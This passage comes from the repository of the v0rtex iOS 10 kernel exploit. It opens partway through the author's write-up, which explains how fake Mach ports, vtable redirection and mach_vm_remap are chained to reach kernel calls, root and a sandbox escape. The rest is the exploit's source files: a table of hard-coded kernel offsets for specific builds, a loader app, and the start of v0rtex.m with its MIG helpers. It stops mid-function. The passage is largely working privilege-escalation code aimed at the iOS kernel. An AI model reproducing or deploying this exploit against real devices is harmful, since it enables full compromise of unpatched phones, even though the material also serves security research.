`IKOT_IOKIT_CONNECT`. Now what we wanna do is swap out `IOUserClient::getExternalTrapForIndex` in the fake vtable with something that returns an `IOExternalTrap` whose contents we control. For that, I use a gadgets like so: 187 | 188 | ``` 189 | add x0, x0, 10 190 | ret 191 | ``` 192 | 193 | That simply returns the address of the memory after the fake object's vtable pointer and reference count, so we can put an object and a function pointer right after those. Here we run once again into a problem though: we have two pointers that we want to update, but only one `ip_context`. So we'll have to extend our write capabilities on the `OSString` buffer before we can proceed. Now, with the knowledge of the kernel slide and the ability to read arbitrary memory, we could actually build ourselves somewhat of a kernel task port by reading the value of the `kernel_map` symbol and stashing that into the `map` field of a fake task - only that we couldn't call `vm_read` or `vm_write` on such a port unless we actually built a valid message queue on our fake port. Such a partial task port is still useful though, because as we've seen, there are some APIs that send a MIG message to some other port. One such API is the MIG call `mach_vm_remap`. That takes a source and a target task, and lets you remap arbitrary memory from the former into the latter. Now the MIG message is sent to the target task port. That means if we wanted to remap kernel memory into our own address space, we would only need _our_ task port to have a functioning message queue! Now, since the `OSString` buffer was allocated by `zalloc`, we actually need to pass a `zone_map` port as source rather than `kernel_map`, but other than that this call works perfectly: 194 | 195 | ```c 196 | mach_vm_address_t shmem_addr = 0; 197 | vm_prot_t cur = 0, 198 | max = 0; 199 | mach_vm_remap(self, &shmem_addr, DATA_SIZE, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE); 200 | ``` 201 | 202 | And with that, we're done with reallocating for good. We can now edit our fake port directly, as well as anything else residing on our `OSString` buffer. We could of course also map in any other kernel address, effectively giving us complete kernel r/w. We're not gonna do that though, but instead go for an even stronger primitive: direct kernel function calls. That still gives us complete r/w via `copyin`/`copyout`, but also the ability to call long and complex functions that would be very difficult to simulate with mere r/w. To that end, we construct a fake object on our newly acquired shared memory, and switch the type of `fakeport` one last time, to `IKOT_IOKIT_CONNECT`. We can then call `iokit_user_client_trap` on `fakeport`, which will lead us to this bit in the kernel: 203 | 204 | ```c++ 205 | result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6); 206 | ``` 207 | 208 | We control all of `p1` through `p6` (passed in via `iokit_user_client_trap`) as well as `target` and `func` (the two pointers after the vtab and ref count) and on top of that, `result` will be passed back to userland, albeit truncated to the 32 bits. 209 | 210 | ### tfp0 211 | 212 | Our true goal is a kernel task port like it used to exist pre-10.3, i.e. before Apple started checking against the `kernel_task` pointer. In order to get around that check, I would ideally like to run this code in the kernel: 213 | 214 | ```c 215 | vm_map_remap( 216 | kernel_map, 217 | &remap_addr, 218 | sizeof(task_t), 219 | 0, 220 | VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, 221 | zone_map, 222 | kernel_task, 223 | false, 224 | &dummy, 225 | &dummy, 226 | VM_INHERIT_NONE 227 | ); 228 | mach_vm_wire(&realhost, kernel_map, remap_addr, sizeof(task_t), VM_PROT_READ | VM_PROT_WRITE); 229 | ipc_port_t newport = ipc_port_alloc_special(ipc_space_kernel); 230 | ipc_kobject_set(newport, remap_addr, IKOT_TASK); 231 | realhost.special[4] = ipc_port_make_send(newport); 232 | ``` 233 | 234 | Now there are two problems with that: First, that call to `vm_map_remap` has 11 arguments but our kernel call interface allows us only to pass 7, and second that pointer returned by `ipc_port_alloc_special` is gonna have its top 32 bits cut off. Getting around the `vm_map_remap` is rather simple: we just create two new ports with fake tasks representing the `kernel_map` and the `zone_map`, and pass those to `mach_vm_remap` in userland. Getting a 64-bit return value from our kernel call interface isn't so easy though. What's easier is to take advantage of the fact that the pointer will point to somewhere in the `zone_map`, which on iOS is still far smaller than 4GB. That means if we know the base address of the `zone_map`, the lower 32 bits of a pointer are enough to determine its original value! Knowing the address of the `zone_map` struct, we merely need to read its header from offset `0x10`, and we get a `start` and `end` pointer, allowing us to do the necessary computations. 235 | 236 | Now we just call `bzero` on `&self_task->bsd_info->p_ucred->cr_uid` with a size of `12` to elevate us to uid 0, and copy the kernel's `p_ucred->cr_label` to our own credentials to get us out of the sandbox, and we're done. :) 237 | 238 | ## Future work 239 | 240 | ### 32-bit 241 | 242 | In principle all of this should work on 32-bit as well, but things might be different due to different pointer size. In particular the thing with the three possible page offsets might either be less or more complicated, depending on how many pages are chunked into the `ipc.ports` zone on 32-bit, and resulting from that which fields overlay in a port struct. 243 | 244 | I lack a 32-bit device that can go higher than 9.3.5 though, so... I can offer my knowledge to devs wanting to take a stab at it, but I won't personally do it. 245 | 246 | ### ETA wen? 247 | 248 | I don't know. I suppose this is a good time to start writing my own patchfinder (I want a _maintainable_ one), so... I guess I'll actually do that. No idea what roadblocks I'll run into though, or how long that'll take. But don't expect anything soon. 249 | 250 | ## Conclusion 251 | 252 | Awesome bug, mad props to Ian Beer (and windknown?) for finding it! Also props to both of them for all their previous work, not sure whether we'd all be where we are today without you. 253 | 254 | Now, lots of work to be done! If anyone wants to chip in with anything, I'm readily available on Discord (`Siguza#7111`). For updates on this as well as general iOS hacking, you can follow me on ~~Twitter~~ [Mastodon](https://mastodon.social/@siguza). 255 | 256 | The exploit code can be found [on GitHub](https://github.com/Siguza/v0rtex). 257 | 258 | ## References 259 | 260 | - windknown: [IOSurface UaF][blog] (PoC) 261 | - Ian Beer: [async_wake][async_wake] (iOS 11 exploit) 262 | - Ian Beer: [Through the mach portal][mach_portal] (write-up) 263 | 264 | 265 | 266 | [windknown]: https://twitter.com/windknown 267 | [ianbeer]: https://twitter.com/i41nbeer 268 | [blog]: http://blog.pangu.io/iosurfacerootuserclient-port-uaf/ 269 | [mach_portal]: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=280146 270 | [async_wake]: https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c3 271 | -------------------------------------------------------------------------------- /lib/libSystem.tbd: -------------------------------------------------------------------------------- 1 | libSystem.B.tbd -------------------------------------------------------------------------------- /res/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleIdentifier 6 | $(PACKAGE) 7 | CFBundleName 8 | $(TARGET) 9 | CFBundleExecutable 10 | $(TARGET) 11 | CFBundleVersion 12 | $(VERSION) 13 | CFBundleShortVersionString 14 | $(VERSION) 15 | UIFileSharingEnabled 16 | 17 | UIRequiredDeviceCapabilities 18 | 19 | armv7 20 | 21 | LSRequiresIPhoneOS 22 | 23 | UISupportedInterfaceOrientations 24 | 25 | UIInterfaceOrientationPortrait 26 | 27 | UISupportedInterfaceOrientations~ipad 28 | 29 | UIInterfaceOrientationPortrait 30 | 31 | CFBundleDevelopmentRegion 32 | en 33 | CFBundleInfoDictionaryVersion 34 | 6.0 35 | CFBundleSignature 36 | ???? 37 | 38 | 39 | -------------------------------------------------------------------------------- /src/AppDelegate.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface AppDelegate : UIResponder 4 | 5 | @property (strong, nonatomic) UIWindow *window; 6 | 7 | @end 8 | -------------------------------------------------------------------------------- /src/AppDelegate.m: -------------------------------------------------------------------------------- 1 | #import "AppDelegate.h" 2 | #import "MainController.h" 3 | 4 | @implementation AppDelegate 5 | 6 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions 7 | { 8 | UINavigationController *nav = [UINavigationController alloc]; 9 | nav = [nav initWithRootViewController:[[MainController alloc] initWithNav:nav]]; 10 | 11 | self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]]; 12 | [self.window setRootViewController:nav]; 13 | [self.window makeKeyAndVisible]; 14 | 15 | return YES; 16 | } 17 | 18 | - (void)applicationWillResignActive:(UIApplication *)application { 19 | 20 | } 21 | 22 | - (void)applicationDidEnterBackground:(UIApplication *)application { 23 | 24 | } 25 | 26 | - (void)applicationWillEnterForeground:(UIApplication *)application { 27 | 28 | } 29 | 30 | - (void)applicationDidBecomeActive:(UIApplication *)application { 31 | 32 | } 33 | 34 | - (void)applicationWillTerminate:(UIApplication *)application { 35 | 36 | } 37 | 38 | @end 39 | -------------------------------------------------------------------------------- /src/Application.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface Application : UIApplication 4 | 5 | @end 6 | -------------------------------------------------------------------------------- /src/Application.m: -------------------------------------------------------------------------------- 1 | #import "Application.h" 2 | 3 | @implementation Application 4 | 5 | @end 6 | -------------------------------------------------------------------------------- /src/MainController.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface MainController : UIViewController 4 | 5 | @property(nonatomic, strong) UINavigationController *nav; 6 | 7 | - (id)initWithNav:(UINavigationController*)nav; 8 | 9 | @end 10 | -------------------------------------------------------------------------------- /src/MainController.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #import "MainController.h" 5 | #import "common.h" 6 | #import "offsets.h" 7 | #import "v0rtex.h" 8 | 9 | kern_return_t cb(task_t tfp0, kptr_t kbase, void *data) 10 | { 11 | FILE *f = fopen("/var/mobile/test.txt", "w"); 12 | LOG("file: %p", f); 13 | 14 | host_t host = mach_host_self(); 15 | mach_port_t name = MACH_PORT_NULL; 16 | kern_return_t ret = processor_set_default(host, &name); 17 | LOG("processor_set_default: %s", mach_error_string(ret)); 18 | if(ret == KERN_SUCCESS) 19 | { 20 | mach_port_t priv = MACH_PORT_NULL; 21 | ret = host_processor_set_priv(host, name, &priv); 22 | LOG("host_processor_set_priv: %s", mach_error_string(ret)); 23 | if(ret == KERN_SUCCESS) 24 | { 25 | task_array_t tasks; 26 | mach_msg_type_number_t num; 27 | ret = processor_set_tasks(priv, &tasks, &num); 28 | LOG("processor_set_tasks: %u, %s", num, mach_error_string(ret)); 29 | } 30 | } 31 | 32 | return KERN_SUCCESS; 33 | } 34 | 35 | void* bg(void *arg) 36 | { 37 | offsets_t *off = get_offsets(); 38 | if(off) 39 | { 40 | v0rtex(off, &cb, NULL); 41 | } 42 | return NULL; 43 | } 44 | 45 | @implementation MainController 46 | 47 | - (id)initWithNav:(UINavigationController*)nav 48 | { 49 | id ret = [super init]; 50 | self.nav = nav; 51 | return ret; 52 | } 53 | 54 | - (void)loadView 55 | { 56 | [super loadView]; 57 | 58 | pthread_t th; 59 | pthread_create(&th, NULL, &bg, NULL); 60 | } 61 | 62 | @end 63 | -------------------------------------------------------------------------------- /src/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | #include // uint*_t 5 | #include 6 | 7 | #define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0) 8 | #ifdef __LP64__ 9 | # define ADDR "0x%016llx" 10 | # define MACH_HEADER_MAGIC MH_MAGIC_64 11 | # define MACH_LC_SEGMENT LC_SEGMENT_64 12 | typedef struct mach_header_64 mach_hdr_t; 13 | typedef struct segment_command_64 mach_seg_t; 14 | typedef uint64_t kptr_t; 15 | #else 16 | # define ADDR "0x%08x" 17 | # define MACH_HEADER_MAGIC MH_MAGIC 18 | # define MACH_LC_SEGMENT LC_SEGMENT 19 | typedef struct mach_header mach_hdr_t; 20 | typedef struct segment_command mach_seg_t; 21 | typedef uint32_t kptr_t; 22 | #endif 23 | typedef struct load_command mach_lc_t; 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /src/main.m: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #import "AppDelegate.h" 4 | #import "Application.h" 5 | 6 | int main(int argc, char *argv[]) 7 | { 8 | @autoreleasepool 9 | { 10 | return UIApplicationMain(argc, argv, NSStringFromClass([Application class]), NSStringFromClass([AppDelegate class])); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_H 2 | #define OFFSETS_H 3 | 4 | #include "common.h" // kptr_t 5 | 6 | typedef struct 7 | { 8 | const char *version; 9 | kptr_t base; 10 | // Structure offsets 11 | kptr_t sizeof_task; 12 | kptr_t task_itk_self; 13 | kptr_t task_itk_registered; 14 | kptr_t task_bsd_info; 15 | kptr_t proc_ucred; 16 | #ifdef __LP64__ 17 | kptr_t vm_map_hdr; 18 | #endif 19 | kptr_t ipc_space_is_task; 20 | kptr_t realhost_special; 21 | kptr_t iouserclient_ipc; 22 | kptr_t vtab_get_retain_count; 23 | kptr_t vtab_get_external_trap_for_index; 24 | // Data 25 | kptr_t zone_map; 26 | kptr_t kernel_map; 27 | kptr_t kernel_task; 28 | kptr_t realhost; 29 | // Code 30 | kptr_t copyin; 31 | kptr_t copyout; 32 | kptr_t chgproccnt; 33 | kptr_t kauth_cred_ref; 34 | kptr_t ipc_port_alloc_special; 35 | kptr_t ipc_kobject_set; 36 | kptr_t ipc_port_make_send; 37 | kptr_t osserializer_serialize; 38 | #ifdef __LP64__ 39 | kptr_t rop_ldr_x0_x0_0x10; 40 | #else 41 | kptr_t rop_ldr_r0_r0_0xc; 42 | #endif 43 | } offsets_t; 44 | 45 | offsets_t* get_offsets(void); 46 | 47 | #endif 48 | -------------------------------------------------------------------------------- /src/offsets.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include // strcmp, strerror 3 | #include // uname 4 | 5 | #include "common.h" // LOG, kptr_t 6 | #include "offsets.h" 7 | 8 | static offsets_t *offsets[] = 9 | { 10 | // XXX: A few offsets are still in v0rtex.m because they're used in structs, 11 | // so moving them here will require rewriting of those parts. 12 | #ifdef __LP64__ 13 | &(offsets_t){ 14 | .version = "Darwin Kernel Version 16.7.0: Thu Jun 15 18:33:36 PDT 2017; root:xnu-3789.70.16~4/RELEASE_ARM64_T7000", 15 | .base = 0xfffffff007004000, 16 | .sizeof_task = 0x550, 17 | .task_itk_self = 0xd8, 18 | .task_itk_registered = 0x2e8, 19 | .task_bsd_info = 0x360, 20 | .proc_ucred = 0x100, 21 | .vm_map_hdr = 0x10, 22 | .ipc_space_is_task = 0x28, 23 | .realhost_special = 0x10, 24 | .iouserclient_ipc = 0x9c, 25 | .vtab_get_retain_count = 0x3, 26 | .vtab_get_external_trap_for_index = 0xb7, 27 | .zone_map = 0xfffffff007558478, 28 | .kernel_map = 0xfffffff0075b4050, 29 | .kernel_task = 0xfffffff0075b4048, 30 | .realhost = 0xfffffff00753aba0, 31 | .copyin = 0xfffffff00718d028, 32 | .copyout = 0xfffffff00718d21c, 33 | .chgproccnt = 0xfffffff00739aa04, 34 | .kauth_cred_ref = 0xfffffff007374d90, 35 | .ipc_port_alloc_special = 0xfffffff0070a60b4, 36 | .ipc_kobject_set = 0xfffffff0070b938c, 37 | .ipc_port_make_send = 0xfffffff0070a5bd8, 38 | .osserializer_serialize = 0xfffffff00744db90, 39 | .rop_ldr_x0_x0_0x10 = 0xfffffff00722a41c, 40 | }, 41 | #else 42 | &(offsets_t){ 43 | .version = "Darwin Kernel Version 16.7.0: Thu Jun 15 18:33:36 PDT 2017; root:xnu-3789.70.16~4/RELEASE_ARM_S5L8950X", 44 | .base = 0x80001000, 45 | .sizeof_task = 0x3b0, 46 | .task_itk_self = 0x9c, 47 | .task_itk_registered = 0x1dc, 48 | .task_bsd_info = 0x22c, 49 | .proc_ucred = 0x98, 50 | .ipc_space_is_task = 0x18, 51 | .realhost_special = 0x8, 52 | .iouserclient_ipc = 0x5c, 53 | .vtab_get_retain_count = 0x3, 54 | .vtab_get_external_trap_for_index = 0xe1, 55 | .zone_map = 0x804188e0, 56 | .kernel_map = 0x80456034, 57 | .kernel_task = 0x80456030, 58 | .realhost = 0x80404150, 59 | .copyin = 0x80007b9c, 60 | .copyout = 0x80007c74, 61 | .chgproccnt = 0x8027cc17, 62 | .kauth_cred_ref = 0x8025e78b, 63 | .ipc_port_alloc_special = 0x80019035, 64 | .ipc_kobject_set = 0x800290b7, 65 | .ipc_port_make_send = 0x80018c55, 66 | .osserializer_serialize = 0x8030687d, 67 | .rop_ldr_r0_r0_0xc = 0x802d1d45, 68 | }, 69 | #endif 70 | NULL, 71 | }; 72 | 73 | offsets_t* get_offsets(void) 74 | { 75 | struct utsname u; 76 | if(uname(&u) != 0) 77 | { 78 | LOG("uname: %s", strerror(errno)); 79 | return 0; 80 | } 81 | 82 | // TODO: load from file 83 | 84 | for(size_t i = 0; offsets[i] != 0; ++i) 85 | { 86 | if(strcmp(u.version, offsets[i]->version) == 0) 87 | { 88 | return offsets[i]; 89 | } 90 | } 91 | 92 | LOG("Failed to get offsets for kernel version: %s", u.version); 93 | return NULL; 94 | } 95 | -------------------------------------------------------------------------------- /src/v0rtex.h: -------------------------------------------------------------------------------- 1 | #ifndef V0RTEX_H 2 | #define V0RTEX_H 3 | 4 | #include 5 | 6 | #include "common.h" 7 | #include "offsets.h" 8 | 9 | typedef kern_return_t (*v0rtex_cb_t)(task_t tfp0, kptr_t kbase, void *data); 10 | 11 | kern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /src/v0rtex.m: -------------------------------------------------------------------------------- 1 | // v0rtex 2 | // Bug by Ian Beer. 3 | // Exploit by Siguza. 4 | 5 | // Status quo: 6 | // - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3. 7 | // - Can call arbitrary kernel functions with up to 7 args via KCALL(). 8 | // - Relies on mach_zone_force_gc() which was removed in iOS 11, but the same 9 | // effect should be achievable by continuously spraying through zones and 10 | // measuring how long it takes - garbage collection usually takes ages. :P 11 | // - Occasionally seems to mess with SpringBoard, i.e. apps don't open when you 12 | // tap on their icons - sometimes affects only v0rtex, sometimes all of them, 13 | // sometimes even freezes the lock screen. Can happen even if the exploit 14 | // aborts very early on, so I'm not sure whether it's even due to that, or due 15 | // to my broken UI. 16 | // - Most common panic at this point is "pmap_tte_deallocate(): ... refcnt=0x1", 17 | // which can occur when the app is killed, but only if shmem_addr has been 18 | // faulted before. Faulting that page can _sometimes_ increase the ref count 19 | // on its tte entry, which causes the mentioned panic when the task is 20 | // destroyed and its pmap with it. Exact source of this is unknown, but I 21 | // suspect it happening in pmap_enter_options_internal(), depending on page 22 | // compression status (i.e. if the page is compressed refcnt_updated is set to 23 | // true and the ref count isn't increased afterwards, otherwise it is). 24 | // On 32-bit such a panic can be temporarily averted with mlock(), but that 25 | // seems to cause even greater trouble later with zalloc, and on 64-bit mlock 26 | // even refuses to work. Deallocating shmem_addr from our address space does 27 | // not fix the problem, and neither does allocating new memory at that address 28 | // and faulting into it (which should _guarantee_ that the corresponding pmap 29 | // entry is updated). Fixing up the ref count manually is very tedious and 30 | // still seems to cause trouble with zalloc. Calling mach_zone_force_gc() 31 | // after releasing the IOSurfaceRootUserClient port seems to _somewhat_ help, 32 | // as does calling sched_yield() before mach_vm_remap() and faulting the page 33 | // right after, so that's what I'm doing for now. 34 | // In the long term, this should really be replaced by something deterministic 35 | // that _always_ works (like removing the tte entirely). 36 | 37 | // Not sure what'll really become of this, but it's certainly not done yet. 38 | // Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being. 39 | 40 | #include // errno 41 | #include // sched_yield 42 | #include // malloc, free 43 | #include // strerror 44 | #include // usleep, setuid, getuid 45 | #include 46 | #include 47 | #include 48 | 49 | #include "common.h" // LOG, kptr_t 50 | #include "offsets.h" 51 | #include "v0rtex.h" 52 | 53 | // ********** ********** ********** get rid of ********** ********** ********** 54 | 55 | #ifdef __LP64__ 56 | # define OFFSET_TASK_ITK_SELF 0xd8 57 | # define OFFSET_IOUSERCLIENT_IPC 0x9c 58 | #else 59 | # define OFFSET_TASK_ITK_SELF 0x9c 60 | # define OFFSET_IOUSERCLIENT_IPC 0x5c 61 | #endif 62 | 63 | #define IOSURFACE_CREATE_OUTSIZE 0x3c8 /* XXX 0x6c8 for iOS 11.0, 0xbc8 for 11.1.2 */ 64 | 65 | // ********** ********** ********** constants ********** ********** ********** 66 | 67 | #ifdef __LP64__ 68 | # define KERNEL_MAGIC MH_MAGIC_64 69 | # define KERNEL_HEADER_OFFSET 0x4000 70 | #else 71 | # define KERNEL_MAGIC MH_MAGIC 72 | # define KERNEL_HEADER_OFFSET 0x1000 73 | #endif 74 | 75 | #define KERNEL_SLIDE_STEP 0x100000 76 | 77 | #define NUM_BEFORE 0x2000 78 | #define NUM_AFTER 0x1000 79 | #define FILL_MEMSIZE 0x4000000 80 | #if 0 81 | #define NUM_DATA 0x4000 82 | #define DATA_SIZE 0x1000 83 | #endif 84 | #ifdef __LP64__ 85 | # define VTAB_SIZE 200 86 | #else 87 | # define VTAB_SIZE 250 88 | #endif 89 | 90 | const uint64_t IOSURFACE_CREATE_SURFACE = 0; 91 | const uint64_t IOSURFACE_SET_VALUE = 9; 92 | const uint64_t IOSURFACE_GET_VALUE = 10; 93 | const uint64_t IOSURFACE_DELETE_VALUE = 11; 94 | 95 | const uint32_t IKOT_TASK = 2; 96 | 97 | enum 98 | { 99 | kOSSerializeDictionary = 0x01000000U, 100 | kOSSerializeArray = 0x02000000U, 101 | kOSSerializeSet = 0x03000000U, 102 | kOSSerializeNumber = 0x04000000U, 103 | kOSSerializeSymbol = 0x08000000U, 104 | kOSSerializeString = 0x09000000U, 105 | kOSSerializeData = 0x0a000000U, 106 | kOSSerializeBoolean = 0x0b000000U, 107 | kOSSerializeObject = 0x0c000000U, 108 | 109 | kOSSerializeTypeMask = 0x7F000000U, 110 | kOSSerializeDataMask = 0x00FFFFFFU, 111 | 112 | kOSSerializeEndCollection = 0x80000000U, 113 | 114 | kOSSerializeMagic = 0x000000d3U, 115 | }; 116 | 117 | // ********** ********** ********** macros ********** ********** ********** 118 | 119 | #define UINT64_ALIGN_DOWN(addr) ((addr) & ~7) 120 | #define UINT64_ALIGN_UP(addr) UINT64_ALIGN_DOWN((addr) + 7) 121 | 122 | #if 0 123 | #define UNALIGNED_COPY(src, dst, size) \ 124 | do \ 125 | { \ 126 | for(volatile uint32_t *_src = (volatile uint32_t*)(src), \ 127 | *_dst = (volatile uint32_t*)(dst), \ 128 | *_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \ 129 | _src < _end; \ 130 | *(_dst++) = *(_src++) \ 131 | ); \ 132 | } while(0) 133 | #endif 134 | 135 | #ifdef __LP64__ 136 | # define UNALIGNED_KPTR_DEREF(addr) (((kptr_t)*(volatile uint32_t*)(addr)) | (((kptr_t)*((volatile uint32_t*)(addr) + 1)) << 32)) 137 | #else 138 | # define UNALIGNED_KPTR_DEREF(addr) ((kptr_t)*(volatile uint32_t*)(addr)) 139 | #endif 140 | 141 | #define VOLATILE_BCOPY32(src, dst, size) \ 142 | do \ 143 | { \ 144 | for(volatile uint32_t *_src = (volatile uint32_t*)(src), \ 145 | *_dst = (volatile uint32_t*)(dst), \ 146 | *_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \ 147 | _src < _end; \ 148 | *(_dst++) = *(_src++) \ 149 | ); \ 150 | } while(0) 151 | 152 | #define VOLATILE_BZERO32(addr, size) \ 153 | do \ 154 | { \ 155 | for(volatile uint32_t *_ptr = (volatile uint32_t*)(addr), \ 156 | *_end = (volatile uint32_t*)((uintptr_t)(_ptr) + (size)); \ 157 | _ptr < _end; \ 158 | *(_ptr++) = 0 \ 159 | ); \ 160 | } while(0) 161 | 162 | #define RELEASE_PORT(port) \ 163 | do \ 164 | { \ 165 | if(MACH_PORT_VALID((port))) \ 166 | { \ 167 | _kernelrpc_mach_port_destroy_trap(self, (port)); \ 168 | port = MACH_PORT_NULL; \ 169 | } \ 170 | } while(0) 171 | 172 | // ********** ********** ********** IOKit ********** ********** ********** 173 | 174 | typedef mach_port_t io_service_t; 175 | typedef mach_port_t io_connect_t; 176 | extern const mach_port_t kIOMasterPortDefault; 177 | extern CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; 178 | extern io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); 179 | extern kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client); 180 | extern kern_return_t IOServiceClose(io_connect_t client); 181 | extern kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); 182 | extern kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); 183 | extern kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 184 | 185 | // ********** ********** ********** other unexported symbols ********** ********** ********** 186 | 187 | extern kern_return_t _kernelrpc_mach_port_allocate_trap(mach_port_name_t target, mach_port_right_t right, mach_port_name_t *name); 188 | extern kern_return_t _kernelrpc_mach_port_insert_right_trap(mach_port_name_t target, mach_port_name_t name, mach_port_name_t poly, mach_msg_type_name_t polyPoly); 189 | extern kern_return_t _kernelrpc_mach_port_destroy_trap(mach_port_name_t target, mach_port_name_t name); 190 | extern kern_return_t _kernelrpc_mach_vm_deallocate_trap(mach_port_name_t target, mach_vm_address_t address, mach_vm_size_t size); 191 | extern kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit); 192 | 193 | // ********** ********** ********** helpers ********** ********** ********** 194 | 195 | static const char *errstr(int r) 196 | { 197 | return r == 0 ? "success" : strerror(r); 198 | } 199 | 200 | static uint32_t transpose(uint32_t val) 201 | { 202 | uint32_t ret = 0; 203 | for(size_t i = 0; val > 0; i += 8) 204 | { 205 | ret += (val % 255) << i; 206 | val /= 255; 207 | } 208 | return ret + 0x01010101; 209 | } 210 | 211 | // ********** ********** ********** MIG ********** ********** ********** 212 | 213 | static kern_return_t my_mach_zone_force_gc(host_t host) 214 | { 215 | #pragma pack(4) 216 | typedef struct { 217 | mach_msg_header_t Head; 218 | } Request; 219 | typedef struct { 220 | mach_msg_header_t Head; 221 | NDR_record_t NDR; 222 | kern_return_t RetCode; 223 | mach_msg_trailer_t trailer; 224 | } Reply; 225 | #pragma pack() 226 | 227 | union { 228 | Request In; 229 | Reply Out; 230 | } Mess; 231 | 232 | Request *InP = &Mess.In; 233 | Reply *OutP = &Mess.Out; 234 | 235 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 236 | InP->Head.msgh_remote_port = host; 237 | InP->Head.msgh_local_port = mig_get_reply_port(); 238 | InP->Head.msgh_id = 221; 239 | InP->Head.msgh_reserved = 0; 240 | 241 | kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 242 | if(ret == KERN_SUCCESS) 243 | { 244 | ret = OutP->RetCode; 245 | } 246 | return ret; 247 | } 248 | 249 | static kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context) 250 | { 251 | #pragma pack(4) 252 | typedef struct { 253 | mach_msg_header_t Head; 254 | NDR_record_t NDR; 255 | mach_port_name_t name; 256 | } Request; 257 | typedef struct { 258 | mach_msg_header_t Head; 259 | NDR_record_t NDR; 260 | kern_return_t RetCode; 261 | mach_vm_address_t context; 262 | mach_msg_trailer_t trailer; 263 | } Reply; 264 | #pragma pack() 265 | 266 | union { 267 | Request In; 268 | Reply Out; 269 | } Mess; 270 | 271 | Request *InP = &Mess.In; 272 | Reply *OutP = &Mess.Out; 273 | 274 | InP->NDR = NDR_record; 275 | InP->name = name; 276 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 277 | InP->Head.msgh_remote_port = task; 278 | InP->Head.msgh_local_port = mig_get_reply_port(); 279 | InP->Head.msgh_id = 3228; 280 | InP->Head.msgh_reserved = 0; 281 | 282 | kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 283 | if(ret == KERN_SUCCESS) 284 | { 285 | ret = OutP->RetCode; 286 | } 287 | if(ret == KERN_SUCCESS) 288 | { 289 | *context = OutP->context; 290 | } 291 | return ret; 292 | } 293 | 294 | kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context) 295 | { 296 | #pragma pack(4) 297 | typedef struct { 298 | mach_msg_header_t Head; 299 | NDR_record_t NDR; 300 | mach_port_name_t name; 301 | mach_vm_address_t context; 302 | } Request; 303 | typedef struct { 304 | mach_msg_header_t Head; 305 | NDR_record_t NDR; 306 | kern_return_t RetCode; 307 | mach_msg_trailer_t trailer; 308 | } Reply; 309 | #pragma pack() 310 | 311 | union { 312 | Request In; 313 | Reply Out; 314 | } Mess; 315 | 316 | Request *InP = &Mess.In; 317 | Reply *OutP = &Mess.Out; 318 | 319 | InP->NDR = NDR_record; 320 | InP->name = name; 321 | InP->context = context; 322 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 323 | InP->Head.msgh_remote_port = task; 324 | InP->Head.msgh_local_port = mig_get_reply_port(); 325 | InP->Head.msgh_id = 3229; 326 | InP->Head.msgh_reserved = 0; 327 | 328 | kern_return_t ret = mach_msg(&InP->Head, 